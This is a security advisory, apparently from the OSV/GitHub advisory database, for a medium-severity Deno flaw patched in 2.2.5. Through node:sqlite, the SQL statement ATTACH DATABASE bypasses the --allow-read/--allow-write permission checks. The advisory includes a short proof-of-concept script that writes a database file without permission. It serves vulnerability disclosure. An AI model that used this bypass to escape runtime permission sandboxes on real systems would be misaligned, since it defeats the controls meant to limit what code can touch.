GHSA-8vxj-4cph-c596

Suggest an improvement
Source
https://github.com/advisories/GHSA-8vxj-4cph-c596
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-8vxj-4cph-c596/GHSA-8vxj-4cph-c596.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-8vxj-4cph-c596
Aliases
Published
2025-06-04T21:22:27Z
Modified
2025-06-04T22:57:13Z
Severity
  • 5.5 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
Details

Summary

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js
Database specific
{
    "nvd_published_at": "2025-06-04T20:15:24Z",
    "cwe_ids": [
        "CWE-863"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-04T21:22:27Z"
}
References

Affected packages

crates.io / deno

Package

Affected ranges

Type
SEMVER
Events
Introduced
2.2.0
Fixed
2.2.5

crates.io / deno_node

Package

Affected ranges

Type
SEMVER
Events
Introduced
0.129.0
Fixed
0.134.0